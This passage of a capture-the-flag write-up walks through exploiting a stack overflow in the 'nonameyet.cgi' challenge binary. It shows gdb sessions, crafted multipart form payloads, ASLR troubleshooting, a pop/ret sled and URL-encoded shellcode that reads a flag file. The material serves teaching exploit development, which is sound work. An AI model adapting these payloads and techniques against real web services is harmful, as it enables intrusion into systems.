$ gdb ./nonameyet.cgi Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done. gdb-peda$ set args < formdata gdb-peda$ r Starting program: /home/bool/nonameyet.cgi < formdata Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xb7fd9000 --> 0x0 EBX: 0x4f4f4e4e ('NNOO') ECX: 0x0 EDX: 0x80500a6 --> 0x0 ESI: 0x48484747 ('GGHH') EDI: 0xb7fd9000 --> 0x0 EBP: 0xbffff638 ("LLMMMMNNNNOOOOPPPP") ESP: 0xbffff60a ("AAAABBBBCCCCDDDDEEEEFF") EIP: 0x804cfa7 (mov DWORD PTR [ebx],eax) EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804cf9f: mov ecx,DWORD PTR [ebp-0x18] 0x804cfa2: rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi] 0x804cfa4: mov ebx,DWORD PTR [ebp+0x8] => 0x804cfa7: mov DWORD PTR [ebx],eax 0x804cfa9: mov eax,DWORD PTR [ebp-0x18] 0x804cfac: mov DWORD PTR [ebx+0x4],eax 0x804cfaf: leave 0x804cfb0: ret [------------------------------------stack-------------------------------------] 0000| 0xbffff60a ("AAAABBBBCCCCDDDDEEEEFF") 0004| 0xbffff60e ("BBBBCCCCDDDDEEEEFF") 0008| 0xbffff612 ("CCCCDDDDEEEEFF") 0012| 0xbffff616 ("DDDDEEEEFF") 0016| 0xbffff61a ("EEEEFF") 0020| 0xbffff61e --> 0x4646 ('FF') 0024| 0xbffff622 --> 0x47470000 ('') 0028| 0xbffff626 ("HHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0804cfa7 in ?? () gdb-peda$
Awesome, we got past the rep movs with a NULL ECX and we are now 9 bytes away. The crash is now on the instruction 0x804cfa7: mov DWORD PTR [ebx],eax where EBX is 0x4f4f4e4e. We are writing EAX to this pointer. We can set this to be anywhere in memory that is writeable to avoid this crash. At the offset for “NNOO” let’s put in 0x0804F0EC, which is just past the end of the .BSS section. That address is mapped into our memory space and will be NULL and unused throughout the program. We will need to little endian encode and URL encode this pointer resulting in: %EC%F0%04%08.
Now with a formdata file of:
$ cat formdata -----------------------------13141138687192 Content-Disposition: form-data; name="photo"; filename="%25Time%25" Content-Type: application/octet-stream file contents -----------------------------13141138687192 Content-Disposition: form-data; name="time" AAAABBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMMMMNN%EC%F0%04%08OOPPPP -----------------------------13141138687192—
We get a debugger output of:
$ gdb ./nonameyet.cgi Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done. gdb-peda$ set args < formdata gdb-peda$ r Starting program: /home/bool/nonameyet.cgi < formdata Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x804f0ec --> 0xb7fd9000 --> 0x0 ECX: 0x0 EDX: 0x80500a6 --> 0x0 ESI: 0x48484747 ('GGHH') EDI: 0xb7fd9000 --> 0x0 EBP: 0x4d4d4c4c ('LLMM') ESP: 0xbffff640 --> 0x804f0ec --> 0xb7fd9000 --> 0x0 EIP: 0x4e4e4d4d ('MMNN') EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x4e4e4d4d [------------------------------------stack-------------------------------------] 0000| 0xbffff640 --> 0x804f0ec --> 0xb7fd9000 --> 0x0 0004| 0xbffff644 ("OOPPPP") 0008| 0xbffff648 --> 0xff005050 0012| 0xbffff64c --> 0x1 0016| 0xbffff650 --> 0xb7e2bb98 --> 0x2a5c ('\\*') 0020| 0xbffff654 --> 0xb7fdc858 --> 0xb7e1f000 --> 0x464c457f 0024| 0xbffff658 --> 0xbffff866 ("/home/bool/nonameyet.cgi") 0028| 0xbffff65c --> 0x80500a0 ("%Time%") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x4e4e4d4d in ?? () gdb-peda$
Excellent! EIP: 0x4e4e4d4d. I can now control the next instruction that this program executes. Our goal is to send EIP back to a buffer that we control. Let’s find everywhere in memory that our input string exists:
gdb-peda$ searchmem AAAABBBB Searching for 'AAAABBBB' in: None ranges Found 3 results, display max 3 items: [heap] : 0x80501b8 ("AAAABBBBCCCCDDDDEEEEFF") mapped : 0xb7fda108 ("AAAABBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMMMMNN%EC%F0%04%08OOPPPP\r\n", '-'<repeats 29 times>, "13141138687192--\r\n") [stack] : 0xbffff60a ("AAAABBBBCCCCDDDDEEEEFF") gdb-peda$ vmmap Start End Perm Name 0x08048000 0x0804e000 r-xp /home/bool/nonameyet.cgi 0x0804e000 0x0804f000 r-xp /home/bool/nonameyet.cgi 0x0804f000 0x08050000 rwxp /home/bool/nonameyet.cgi 0x08050000 0x08071000 rwxp [heap] 0xb7e1e000 0xb7e1f000 rwxp mapped 0xb7e1f000 0xb7fcd000 r-xp /lib/i386-linux-gnu/libc-2.17.so 0xb7fcd000 0xb7fcf000 r-xp /lib/i386-linux-gnu/libc-2.17.so 0xb7fcf000 0xb7fd0000 rwxp /lib/i386-linux-gnu/libc-2.17.so 0xb7fd0000 0xb7fd3000 rwxp mapped 0xb7fd9000 0xb7fdd000 rwxp mapped 0xb7fdd000 0xb7fde000 r-xp [vdso] 0xb7fde000 0xb7ffe000 r-xp /lib/i386-linux-gnu/ld-2.17.so 0xb7ffe000 0xb7fff000 r-xp /lib/i386-linux-gnu/ld-2.17.so 0xb7fff000 0xb8000000 rwxp /lib/i386-linux-gnu/ld-2.17.so 0xbffdf000 0xc0000000 rwxp [stack]
I have three choices for direct execution: heap, mapped, or stack. All of the sections are executable. If I run the binary again and do the same search we can determine if any of these sections are affected by ASLR. They all looked stable between runs to me. Remember this for later.
My preference is to use the mapped section because it looks like it has a complete copy of the data exactly as I sent it in. Other options here are to look for more input vectors, specifically cookies and other variables. Let’s use python again to set the “AAAA” in our input to \xcc\xcc\xcc\xcc so that we might trigger an int 3 debugging break point.
Next, let’s overwrite the “MMNN” offset that was in EIP with the little endian URL encoded address of %08%a1%fd%b7 (0xb7fda108) that should point directly to the start of our data (int 3) in the mapped section. If all goes well, we should expect to see a SIGTRAP.
The formdata file is:
$ cat formdata -----------------------------13141138687192 Content-Disposition: form-data; name="photo"; filename="%25Time%25" Content-Type: application/octet-stream file contents -----------------------------13141138687192 Content-Disposition: form-data; name="time" ▒▒▒▒BBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMM%08%a1%fd%b7%EC%F0%04%08OOPPPP -----------------------------13141138687192—
The debugger output is:
$ gdb ./nonameyet.cgi Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done. gdb-peda$ set args < formdata gdb-peda$ r Starting program: /home/bool/nonameyet.cgi < formdata Program received signal SIGTRAP, Trace/breakpoint trap. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x804f0ec --> 0xb7fd9000 --> 0x0 ECX: 0x0 EDX: 0x80500a6 --> 0x0 ESI: 0x48484747 ('GGHH') EDI: 0xb7fd9000 --> 0x0 EBP: 0x4d4d4c4c ('LLMM') ESP: 0xbffff640 --> 0x804f0ec --> 0xb7fd9000 --> 0x0 EIP: 0xb7fda109 --> 0x42cccccc EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7fda0fc: gs 0xb7fda0fd: cmp eax,0x6d697422 0xb7fda102: and cl,BYTE PTR gs:0xcc0a0d0a => 0xb7fda109: int3 0xb7fda10a: int3 0xb7fda10b: int3 0xb7fda10c: inc edx 0xb7fda10d: inc edx [------------------------------------stack-------------------------------------] 0000| 0xbffff640 --> 0x804f0ec --> 0xb7fd9000 --> 0x0 0004| 0xbffff644 ("OOPPPP") 0008| 0xbffff648 --> 0xff005050 0012| 0xbffff64c --> 0x1 0016| 0xbffff650 --> 0xb7e2bb98 --> 0x2a5c ('\\*') 0020| 0xbffff654 --> 0xb7fdc858 --> 0xb7e1f000 --> 0x464c457f 0024| 0xbffff658 --> 0xbffff866 ("/home/bool/nonameyet.cgi") 0028| 0xbffff65c --> 0x80500a0 ("%Time%") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGTRAP 0xb7fda109 in ?? () gdb-peda$
Great! We have arbitrary code execution now. Unfortunately, the start of our string only affords us 22 bytes of execution before we run into the NULL encoded ECX register from earlier. We now have two options. The first is to make the filename larger than %25Time%25 so that more stack is allocated and our offsets are further into the file. The second option I see is to encode a short relative jump instruction in place of the int 3. Because we are doing this from a flat file and not an exploit script it would be very easy to lose track of shifting offsets, so I opted for the second option.
Currently, the start of the “OOPP” that ends our input string is 105 bytes away. I can encode a jump as %eb%67 to jump +105 bytes forward and land right on my data. After a bit of trial and error building the input file I was able to line everything up just right and gain code execution when running in gdb. I simply replaced the “OOPPPP” with my shellcode to open /home/nonameyet/flag, read it to the stack, and write it to stdout. Note that this shellcode would not trigger the .bash_alias backdoor from earlier!
However, when I run it outside of the debugger I get a segmentation fault. This is a common annoyance when writing exploits. Things can change when they are being debugged. I ran a strace command to see if any of the shellcode was making system calls:
$ ./nonameyet.cgi < formdata2 … old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0xb76ff000 --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xb7fda108} --- +++ killed by SIGSEGV (core dumped) +++
Nope, I never got execution. With si_addr=0xb7fda108 I am at least still jumping to the correct spot. What I notice is that the mmap call is returning 0xb76ff000. This is not what I was seeing as a consistent address for my data on the 0xb7fda000 page. So, that address does not exist and we need to go back to pick one of the other two points where we have code. Let’s pick the heap this time with an address of 0x080501b8 as our new EIP.
After modifying the formdata file again and setting a break point on the return from the interesting function, it looks like the heap address has moved as well. It is now at [heap] : 0x8050318 (“AAAABBBBCCCCDDDDEEEEFF”). I suggest that this changed because our input lengths have changed since I last looked. I’ve added shellcode now after all.
The base address for the heap is still in the same spot: 0x08050000. It is just the offset within that page that has shifted. Let’s put in the new address for EIP and try our luck with yet another run. The other thing that is different about this heap location is that all of our data has already been URL decoded. Thus, we will need to URL encode all of our binary values. This includes the shellcode.
This time it hits a SIGTRAP again and we can redo our relative short jump calculation jump to land on arbitrary shellcode. We are executing at 0x08050318 and we need to jump to 0x08050352, or 58 bytes away, which means we should us an opcode of “\xeb\x38”. Setting this at the start jumps perfectly to our shellcode, which now executes just fine in the debugger. Again.
But, once again, running without the debugger attached produces a crash! It appears that the heap moves as well. This makes logical sense. If the mmap call is moving and the heap is allocated in a similar way, then they both should move with ASLR. We could try the stack location by building in a large NOP (\x90) sled before our shellcode and go about guessing stack addresses despite ASLR, brute forcing the return address used for EIP. I’ve shamefully used this technique in past CTF events with success.
The whole problem here, and the reason I’ve failed to exploit twice, is that GDB has disabled ASLR. Remember when I checked it earlier? I could have saved myself a lot of time if I had realized this back then. While having your debugger turn off ASLR makes debugging easier, it leads to false hope. Let this be a lesson to always run the set disable-randomization off command in GDB when starting exploit development on a binary. I believe this default ASLR disabled state is actually coming from the PEDA GDB init script I am using. I have another idea that should work with ASLR.
Remember that data structure passed into the interesting function? Well, there is no reason why we only have to fill out the “filename” and “time” variables. If we set the “date” variable there will be a pointer to the date value on the stack. We can put our shellcode in there and use a technique called a return sled to get down the stack.
Here is a short debugging session showing the stack at the beginning of the interesting function:
$ gdb ./nonameyet.cgi Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done. gdb-peda$ break *0x0804CE3B Breakpoint 1 at 0x804ce3b gdb-peda$ set args < formdata3 gdb-peda$ r Breakpoint 1, 0x0804ce3b in ?? () gdb-peda$ stack 20 0000| 0xbffff63c --> 0x80492eb (test eax,eax) # return address in main() 0004| 0xbffff640 --> 0xbffff65c --> 0x80500a0 ("%Time%") 0008| 0xbffff644 --> 0xbffff68c --> 0xe 0012| 0xbffff648 --> 0xffffffff 0016| 0xbffff64c --> 0x1 0020| 0xbffff650 --> 0xb7e2bb98 --> 0x2a5c ('\\*') 0024| 0xbffff654 --> 0xb7fdc858 --> 0xb7e1f000 --> 0x464c457f 0028| 0xbffff658 --> 0xbffff866 ("/home/bool/nonameyet.cgi") 0032| 0xbffff65c --> 0x80500a0 ("%Time%") 0036| 0xbffff660 --> 0x7 0040| 0xbffff664 --> 0x0 0044| 0xbffff668 --> 0x0 0048| 0xbffff66c --> 0x80501b8 --> 0x414138eb # this is the time variable 0052| 0xbffff670 --> 0x3b (';') # time variable length 0056| 0xbffff674 --> 0x8050348 --> 0xf0ec8166 # date variable 0060| 0xbffff678 --> 0x54 ('T') # date variable length 0064| 0xbffff67c --> 0x0 0068| 0xbffff680 --> 0x0 0072| 0xbffff684 --> 0x0 0076| 0xbffff688 --> 0x0 gdb-peda$
If we replace our original return address with 0x08048945 (the address of a ret instruction) and then immediately following this address place the same address again, the program will return twice and the stack will be incremented by 8. We can do this all the way down the stack until we reach our pointer to the date variable. A little math tells us (0xbffff674 - 0xbffff63c) / 4 that we need to put the pointer to the ret instruction on the stack 14 times to reach the pointer to our shellcode.
One problem. When I go to edit the time variable I see that we have &l;teip> then <bss> address in the time variable. This was required to survive the write from earlier. I will not be able to write to the text section of the binary so I cannot use this address for the ret sled. Because the number of addresses is even, I can point the return sled to a pop ret gadget and have a pop/ret sled instead. There is a pop just one byte before the previous ret address at 0x08048944. I will still need to put this address in 14 times but every other instance will not be executed.
My first attempt at this failed as well! When I looked at the stack, the pointer for the “date” variable was not where it should be. The length was correct but we were returning into NULLs. Looking a little closer, I noticed that the pointer for this variable ended with 0x00. Of course, the time variable was null terminating on the stack. My length was off by one. Since I am already doing a pop/ret sled the pointer immediately before the date pointer is not executed. It could really be anything. I made the time variable one byte shorter and FINALLY gained code execution outside of a debugger. Here is the completed formdata file and execution printing out /home/nonameyet/flag:
$ cat formdata -----------------------------13141138687192 Content-Disposition: form-data; name="photo"; filename="%25Time%25" Content-Type: application/octet-stream file contents -----------------------------13141138687192 Content-Disposition: form-data; name="time" %eb%38AABBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMM%44%89%04%08%EC%F0%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04 -----------------------------13141138687192 Content-Disposition: form-data; name="date" %66%81%EC%F0%01%83%E4%F8%EB%30%5E%89%F3%31%C9%31%C0%B0%05%CD%80%89%C3%89%F1%31%D2%B2%FF%31%C0%B0%03%CD%80%BB%FF%FF%FF%FF%F7%DB%89%F1%88%C2%31%C0%B0%04%CD%80%31%C0%B0%01%CD%80%E8%CB%FF%FF%FF%2F%68%6F%6D%65%2F%6E%6F%6E%61%6D%65%79%65%74%2F%66%6C%61%67%00 -----------------------------13141138687192-- $ ./nonameyet.cgi < formdata Angry Rhinoceros And then I found five dollars.
The only thing left to do is to send this over a socket to the web server so that I can pull back the flag on the remote system. Too bad the service was offline by the time I completed the challenge.
There are other ways to go about landing this stack overflow. Another public write up is here (in Chinese). It looks like this team made a ROP chain to getenv() that would read in cookie data. The same stack overflow bug was used.
Big thanks to HJ and Legit BS for a fun CTF problem. I spent way too much time playing with it. If you enjoyed this walk through or have questions or comments, you are welcome to email me: svittitoe at endgame.com.